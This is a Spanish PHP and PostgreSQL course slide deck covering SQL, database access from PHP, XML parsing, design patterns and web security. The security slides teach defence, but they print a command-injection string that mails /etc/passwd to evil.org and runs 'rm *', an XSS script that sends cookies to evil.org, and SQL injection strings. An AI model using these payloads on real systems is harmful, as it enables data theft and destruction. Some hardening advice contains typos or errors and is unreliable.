  47. 47. Operadores de PHP Lógicos: $a and $b AND $a or $b OR $a xor $b XOR ! $a NOT $a && $b AND $a || $b OR $a?$b:$c Tiene como valor $b siempre que $a sea verdadero y $c en caso contrario. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
  48. 48. PostgreSQL Introducción: • Es un gestor de base de datos relacional • Es de codigo abierto bajo licencia BSD • Es multiplataforma • Tiene un alto nivel de seguridad • Existe una amplia comunidad que nos ayuda con el soporte • Ofrece Integridad referencial • Maneja las concurrencias PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – PostgreSQL
  49. 49. PostgreSQL - Sentencias SQL Creación de tablas: create table contactos ( id INT, nombre VARCHAR(20), edad INT, correo VARCHAR(20), primary key (id_persona) ); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  50. 50. PostgreSQL - Sentencias SQL Modificación de tablas: alter table contactos add column telefono VARCHAR(10); alter table contactos drop column telefono; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  51. 51. PostgreSQL - Sentencias SQL Manejo registros: insert into contactos (id,nombre,edad,correo) values (1,’Jorge’,25,’jaareval@uc.cl’); update contactos set nombre=‘Jorge Arevalo’ where id=1; delete from contactos where id=1; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  52. 52. PostgreSQL - Sentencias SQL Crear Consultas: select * from contactos where nombre like ‘J%’; Create view vista_jotas as select * from contactos where nombre like ‘J%’; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  53. 53. PostgreSQL desde PHP Configuración: Debemos asegurarnos que el archivo php.ini (habitualmente en /usr/local/lib ) contenga la linea: extension=pgsql.so en linux y extension=pgsql.dll en windows PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PostgreSQL
  54. 54. PostgreSQL desde PHP Ejemplo: <?php $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); $consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); echo quot;<table>nquot;; while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) { echo quot;t<tr>nquot;; foreach ($linea as $valor_col) { echo quot;tt<td>$valor_col</td>nquot;; } echo quot;t</tr>nquot;; } echo quot;</table>nquot;; pg_free_result($resultado); pg_close($conexion_bd); ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  55. 55. PostgreSQL desde PHP Ejemplo (Análisis): $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); pg_connect retorna un apuntador a la conexión, que será guardado en $conexion_bd recibe un único parámetro que corresponde a la cadena de conexión. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  56. 56. PostgreSQL desde PHP Ejemplo (Análisis – pg_connect): En esta cadena pueden definirse los siguientes parámetros: • host La máquina donde escucha el servidor PostgreSQL • port Puerto de conexión. • tty TTY a utilizar. Interesante a la hora de depurar. • options Opciones adicionales. • dbname Nombre de la base de datos a la que se quiere conectar. • user Nombre del usuario PostgreSQL con el que se realizará la conexión. • pass Contraseña para la conexión. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  57. 57. PostgreSQL desde PHP Ejemplo (Análisis): $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); or die() realiza un echo del string que recibe como parametro en caso de que la llamada a alguna función resulte en un error. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  58. 58. PostgreSQL desde PHP Ejemplo (Análisis): $consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); $consulta corresponde al string que representa la consulta. pg_query($consulta) retorna un apuntador a un resultado de consulta (no me ofrece forma de manejarlo). La función pg_query() debe tener alguna de las 2 formas siguientes: • $result=pg_query($conexion,$consulta); • $result=pg_query($consulta); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  59. 59. PostgreSQL desde PHP Ejemplo (Análisis): $linea = pg_fetch_array($resultado, null, PGSQL_ASSOC) En $linea almacenará la siguiente fila del resultado en forma de array asociativo usando el nombre del campo como clave. Los parámetros que recibe pg_fetch_array() son, en orden de izquierda a derecha: • $resultado apuntador al conjunto de resultados • $row entero que indica la fila dentro del conjunto de resultados que se desea recuperar, null en caso que queramos recuperar la siguiente a la última que se recuperó. • $result_type entero que indica de que manera debe retornar la fila: PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar) PGSQL_BOTH (Ambos) Si la fila que se pretende recuperar no existe retorna false PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  60. 60. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): Existen otras funciones que nos permiten recuperar los resultados: • pg_fetch_all Devuelve un vector que contiene todos los registros devueltos por la consulta. • pg_fetch_array Devuelve la siguiente fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros. • pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de vector asociativo. Como claves del vector usa los nombres de los campos. Devuelve falso si no encuentra más registros. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  61. 61. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): • pg_fetch_object Devuelve una fila del resultado en forma de objeto. Por cada columna de la fila existirá un atributo del mismo nombre. • pg_fetch_result Devuelve un valor de un resultado. Se le especifica fila y columna. • pg_fetch_row Devuelve una fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  62. 62. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): Tenemos también la función pg_num_rows($result) que devuelve la cantidad de filas en el resultado apuntado por $result Y también la función pg_affected_rows($result) que devuelve la cantidad de filas afectadas por una sentencia sql de update. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  63. 63. PostgreSQL desde PHP Ejemplo (Análisis): Será necesario liberar la memoria que estaba usando el conjunto de resultados, para ello usamos la función: pg_free_result($resultado); Lo mismo habrá que hacer con la base de datos. pg_close($conexion_bd); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  64. 64. PostgreSQL desde PHP Ejercicio: Modificar nuestra agenda, de modo que se guarden los datos en la BD. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  65. 65. XML Introducción: XML, sigla en inglés de eXtensible Markup Language, es un metalenguaje extensible de etiquetas desarrollado por el World Wide Web Consortium (W3C). Es una simplificación y adaptación del SGML y permite definir la gramática de lenguajes específicos (de la misma manera que HTML es a su vez un lenguaje definido por SGML). Por lo tanto XML no es realmente un lenguaje en particular, sino una manera de definir lenguajes para diferentes necesidades. Algunos de estos lenguajes que usan XML para su definición son XHTML, SVG, MathML. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  66. 66. XML ¿Para qué sirve?: XML no ha nacido sólo para su aplicación en Internet, sino que se propone como un estándar para el intercambio de información estructurada entre diferentes plataformas. Se puede usar en bases de datos, editores de texto, hojas de cálculo y casi cualquier cosa imaginable. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  67. 67. XML Ventajas: • Es extensible, lo que quiere decir que una vez diseñado un lenguaje y puesto en producción, igual es posible extenderlo con la adición de nuevas etiquetas de manera de que los antiguos consumidores de la vieja versión todavía puedan entender el nuevo formato. • El analizador es un componente estándar, no es necesario crear un analizador específico para cada lenguaje. Esto posibilita el empleo de uno de los tantos disponibles. De esta manera se evitan bugs y se acelera el desarrollo de la aplicación. • Si un tercero decide usar un documento creado en XML, es sencillo entender su estructura y procesarlo. Mejora la compatibilidad entre aplicaciones. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  68. 68. XML Ejemplo de XML: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?> <!DOCTYPE Edit_Mensaje SYSTEM quot;Lista_datos_mensaje.dtdquot; [<!ELEMENT Edit_Mensaje (Mensaje)*>]> <Edit_Mensaje> <Mensaje> <Remitente> <Nombre>Nombre del remitente</Nombre> <Mail> Correo del remitente </Mail> </Remitente> <Destinatario> <Nombre>Nombre del destinatario</Nombre> <Mail>Correo del destinatario</Mail> </Destinatario> <Texto> <Parrafo> Este es mi documento con una estructura muy sencilla no contiene atributos ni entidades.... </Parrafo> </Texto> </Mensaje> </Edit_Mensaje> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  69. 69. XML Ejemplo de DTD: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?> <!-- Este es el DTD de Edit_Mensaje --> <!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*> <!ELEMENT Remitente (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Destinatario (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Asunto (#PCDATA)> <!ELEMENT Texto (Parrafo)> <!ELEMENT Parrafo (#PCDATA)> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
  70. 70. XML DTD: <!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) > * Indica que el elemento puede aparecer 0 ó más veces + indica que el elemento puede aparecer 1 ó más veces ? Indica que el elemento puede aparecer 0 ó 1 vez <!ELEMENT nombre (sEl1|sEl2) > | indica que debo elegir alguno de los dos elementos <!ELEMENT nombre (#PCDATA|sEl1) > Para aceptar que un elemento tenga texto o subelementos <!ELEMENT nombre (sEl1,sEL2) > <!ATTLIST nombre at1 CDATA #REQUIRED at2 CDATA #IMPLIED at3 ID #REQUIRED at4 (yes | no) #REQUIRED > Tipo ID puede haber sólo 1, at4 tiene definido los valores que puede recibir, para definir el valor por defecto de un #IMPLIED se reemplaza #IMPLIED por este valor PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
  71. 71. XML desde PHP Ejemplo de XML: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot;?> <bloque> <noticia> <titulo>Hola Caracola </titulo> <autor>KaoS</autor> <cuerpo>Olla Kaitos a Luisete</cuerpo> </noticia> <noticia> <titulo>Nuevo articulo en desarrolloweb </titulo> <autor>Raul</autor> <cuerpo>Jeje hola, aqui estamos </cuerpo> </noticia> </bloque> Guardarlo en “noticias.xml” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  72. 72. XML desde PHP Leer el archivo: <? //$ruta_fichero=quot;http://www.dominio.com/noticias.xmlquot;; $ruta_fichero=quot;noticias.xmlquot;; $contenido = quot;quot;; if($da = fopen($ruta_fichero,quot;rquot;)) { while ($aux= fgets($da,1024)) { $contenido.=$aux; } fclose($da); } else { echo quot;Error: no se ha podido leer el archivo <strong>$ruta_fichero</strong>quot;; } ?> Esto dentro de un archivo “noticias.php” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  73. 73. XML desde PHP Procesar el XML: $tagnames = array (quot;tituloquot;,quot;autorquot;,quot;cuerpoquot;); if (!$xml = domxml_open_mem($contenido)){ echo quot;Ha ocurrido un error al procesar el documento<strong> quot;$ruta_ficheroquot;</strong> a XML <br>quot;; exit; } else { $raiz = $xml->document_element(); $tam=sizeof($tagnames); for($i=0; $i<$tam; $i++){ $nodo = $raiz->get_elements_by_tagname($tagnames[$i]); $j=0; foreach ($nodo as $etiqueta) { $matriz[$j][$tagnames[$i]]=$etiqueta->get_content(); $j++; } } } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  74. 74. XML desde PHP Mostrar los Datos: <? $num_noticias=sizeof($matriz); for($i=0;$i<$num_noticias;$i++) { echo '<table border=1><tr><td align=center>‘ .$matriz[$i][quot;tituloquot;].'</td></tr><tr><td>‘ .$matriz[$i][quot;cuerpoquot;].'</td></tr><tr><td align=right >‘ .$matriz[$i][quot;autorquot;] .'</td></tr></table><br>'; } ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  75. 75. Patrones de Diseño Introducción: Los patrones de diseño (design patterns) son la base para la búsqueda de soluciones a problemas comunes en el desarrollo de software y otros ámbitos referentes al diseño de interacción o interfaces. Un patrón de diseño es una solución a un problema de diseño. Para que una solución sea considerada un patrón debe poseer ciertas características. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reusable, lo que significa que es aplicable a diferentes problemas de diseño en distintas circunstancias. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  76. 76. Patrones de Diseño Categorías: • Patrones arquitecturales: Aquéllos que expresan un esquema organizativo estructural fundamental para sistemas software. • Patrones de diseño: Aquéllos que expresan esquemas para definir estructuras de diseño (o sus relaciones) con las que construir sistemas software. • Idiomas: Patrones de bajo nivel específicos para un lenguaje de programación o entorno concreto. Además, también es importante reseñar el concepto de Antipatrón de Diseño, que con forma semejante a la de un patrón, intenta prevenir contra errores comunes de diseño en el software. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  77. 77. Patrones de Diseño Patrones estructurales: • Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada por una clase que de otro modo no podría utilizarla. • Bridge (Puente): Desacopla una abstracción de su implementación. • Composite (Objeto compuesto): Permite tratar objetos compuestos como si de uno simple se tratase. • Decorator (Envoltorio): Añade funcionalidad a una clase dinámicamente. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  78. 78. Patrones de Diseño Patrones estructurales: • Facade (Fachada): Provee de una interfaz unificada simple para acceder a una interfaz o grupo de interfaces de un subsistema. • Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad de objetos poseen idéntica información. •Proxy : Mantiene un representante de un objeto. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  79. 79. Patrones de Diseño Patrones de Comportamiento: • Chain of Responsibility (Cadena de responsabilidad): Permite establecer la línea que deben llevar los mensajes para que los objetos realicen la tarea indicada. • Command (Orden): Encapsula una operación en un objeto, permitiendo ejecutar dicha operación sin necesidad de conocer el contenido de la misma. • Interpreter (Intérprete): Dado un lenguaje, define una gramática para dicho lenguaje, así como las herramientas necesarias para interpretarlo. • Iterator (Iterador): Permite realizar recorridos sobre objetos compuestos independientemente de la implementación de estos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  80. 80. Patrones de Diseño Patrones de Comportamiento: • Mediator (Mediador): Define un objeto que coordine la comunicación entre objetos de distintas clases, pero que funcionan como un conjunto. • Memento (Recuerdo): Permite volver a estados anteriores del sistema. • Observer (Observador): Define una dependencia de uno-a-muchos entre objetos, de forma que cuando un objeto cambie de estado se notifique y actualicen automáticamente todos los objetos que dependen de él. • State (Estado): Permite que un objeto modifique su comportamiento cada vez que cambie su estado interno. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  81. 81. Patrones de Diseño Patrones de Comportamiento: • Strategy (Estrategia): Permite disponer de varios métodos para resolver un problema y elegir cuál utilizar en tiempo de ejecución. • Template Method (Método plantilla): Define en una operación el esqueleto de un algoritmo, delegando en las subclases algunos de sus pasos, esto permite que las subclases redefinan ciertos pasos de un algoritmo sin cambiar su estructura. • Visitor (Visitante): Permite definir nuevas operaciones sobre una jerarquía de clases sin modificar las clases sobre las que opera. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  82. 82. Patrones de Diseño Patrones creacionales: •Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de distintas familias de manera que las familias no se mezclen entre sí y haciendo transparente el tipo de familia concreta que se esté usando. • Builder (Constructor virtual): Abstrae el proceso de creación de un objeto complejo, centralizando dicho proceso en un único punto. • Factory Method (Método de fabricación): Centraliza en una clase constructora la creación de objetos de un subtipo de un tipo determinado, ocultando al usuario la casuística para elegir el subtipo que crear. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  83. 83. Patrones de Diseño Patrones creacionales: • Prototype (Prototipo): Crea nuevos objetos clonándolos de una instancia ya existente. • Singleton (Instancia única): Garantiza la existencia de una única instancia para una clase y la creación de un mecanismo de acceso global a dicha instancia. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  84. 84. Seguridad Definición: • Entendemos por aplicaciones web a todo aquél software que interacciona con el usuario utilizando el protocolo HTTP. Por su parte, los servicios web son un conjunto de funciones empaquetadas dentro de una entidad única y publicadas dentro de la red para que puedan ser utilizadas por las aplicaciones web. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  85. 85. Seguridad Lineas frecuentes de ataques: • Saltarse las validaciones • Inyección de código • Inyeccion de SQL • Inyeccion de Cookies • XSS – Cross Site Scripting PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  86. 86. Seguridad Saltarse las validaciones - Objetivo: El objetivo es que la aplicación colapse, de una manera interesante para el atacante. • Dejando a la aplicación en un estado invalido, de modo que deje de estar operativa. • Revelando información de depuración, que permita conocer detalles importantes acerca de la plataforma usada, para luego aprovechar los problemas de seguridad conocidos que esta tenga. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  87. 87. Seguridad Saltarse las validaciones - ¿Cómo?: Existen 2 tipos de validación, la del lado del cliente y la del lado del servidor. En el primer caso, tenemos como ventaja el rápido feedback con el cliente. Pero si no va acompañada de la segunda, tenemos un grave problema de seguridad: Se puede generar un nuevo formulario, que envíe los datos sin ser validados al server. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  88. 88. Seguridad Validación en el servidor: PHP ofrece múltiples funciones para validar datos: • is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc • intval(), floatval(), doubleval(), etc • strlen(), strpos(), etc PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  89. 89. Seguridad Inyección de código - Objetivo: Hacer que nuestro script ejecute algún código ingresado por el atacante. Este código habitualmente apunta a: • Mostrar información acerca de la plataforma • Dañar el sistema • Generar nuevas vulnerabilidades de seguridad. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  90. 90. Seguridad Inyección de código - ¿Cómo?: Generalmente a través de variables GET, POST o COOKIE, que no se valida correctamente (o simplemente no se valida) Ejemplo: $filename=$_GET[‘datoString’]; $message=file_get_contents($filename); echo $message; Si se llama www.cursophp.org/miscript.php?datoString=hola.txt Pero si se llama www.cursophp.org/miscript.php?datoString=pass.cfg PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  91. 91. Seguridad Inyección de código - ¿Cómo?: <?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?> Se llama con el siguiente query string: *.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A Ejecutaría: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solución: <?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[‘to’]), 'w'); ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  92. 92. Seguridad Inyección de código - ¿Cómo?: Los includes de scripts referenciados desde GET o POST no debieran usarse y de ser así, validar muy bien los datos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  93. 93. Seguridad Inyección de código - ¿Cómo?: Supongamos que este codigo está dentro del módulo de mensajeria de nuestra aplcación <?php ... echo quot;<TD> $subject </TD>quot;; ?> Un usuario malicioso podría enviar un mensaje con el asunto: <script> self.location.href= quot;http://evil.org/cookie- grab.html?cookies=quot; +escape(document.cookie) </script> Llamando a su servidor, donde revisando el log de los request, tendrá la información de nuestras cookies Solución: <?php ... echo quot;<TD> quot;.htmlspecialchars($subject).quot; </TD>quot;; ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  94. 94. Seguridad Inyección de SQL - Objetivo: Alterar los datos en la base de datos para que ocurra alguna de las siguientes situaciones: •La aplicación colapse porque se ingresaron datos que no concuerdan con lo esperado. •Se pierda información producto de la eliminación de registros. •Se produzcan errores de SQL, que permitan obtener información de depuración y así encontrar vulnerabilidades. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  95. 95. Seguridad Inyección de SQL - ¿Cómo?: Ingresando partes de sentencias sql de actualizacion de bd, en los parametros que incluye la query. Ejemplo: $user_name=$_GET[‘u_name’]; $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ ”; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge ningún problema, pero si se llama: *.php?u_name=Jorge;DELETE FROM users; tendremos problemas. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  96. 96. Seguridad Inyección de SQL - ¿Cómo?: Otro ejemplo: $user_name=$_GET[‘u_name’]; $pass=$_GET[‘password’]; $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ AND password=‘$pass’ ”; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge&password=123 ningún problema, pero si se llama: *.php?u_name=Jorge&password=123’ or ‘’=‘ Se ejecutaría el sql: SELECT * FROM users WHERE user_name=‘Jorge’ AND password=‘123’ or ‘’=‘’ Lo que probablemente garantizaría el ingreso del usuario, sin necesidad de que el password coincida. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  97. 97. Seguridad XSS – Cross Site Scripting: La idea es reemplazar una direccion http por un codigo malicioso, permitiendo esto: •El pishing •La ejecución de scripts dañinos •El robo de información privada PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  98. 98. Seguridad Proteger el servidor web: Para esto debemos tener en cuenta lo siguiente: • Mientras el atacante menos sepa del servidor, más dificil será su tarea. • Mientras menos servicios de red ofrezca el servidor más seguro será. • Si vulneran el sistema operativo, no tenemos nada que hacer. Por lo que debe ser lo más robusto posible contra ataques locales y remotos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  99. 99. Seguridad Proteger el servidor web: • El acceso remoto al servidor debe estar controlado por un firewall que permita el acceso sólo en el puerto HTTP (TCP:80) • Apache no debe tener activado ningún modulo que no sea necesario. • Apache debe tener acceso restringido al sistema de archivos • Chroot para apache. • Debe ser posible almacenar en un archivo de texto los request GET y POST para usar programas adicionales para la deteccion de intrusos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  100. 100. Seguridad Medidas Concretas: • En httpd.conf setear safe_mode = On • Modificar la linea AddType applicaton/x-httpd-php .php a AddType applicaton/x-httpd-php .do y renombrar todos los archivos .php a .do PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  101. 101. Fin PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Fin del curso
  1. ¿Le ha llamado la atención una diapositiva en particular?

    Recortar diapositivas es una manera útil de recopilar información importante para consultarla más tarde.

×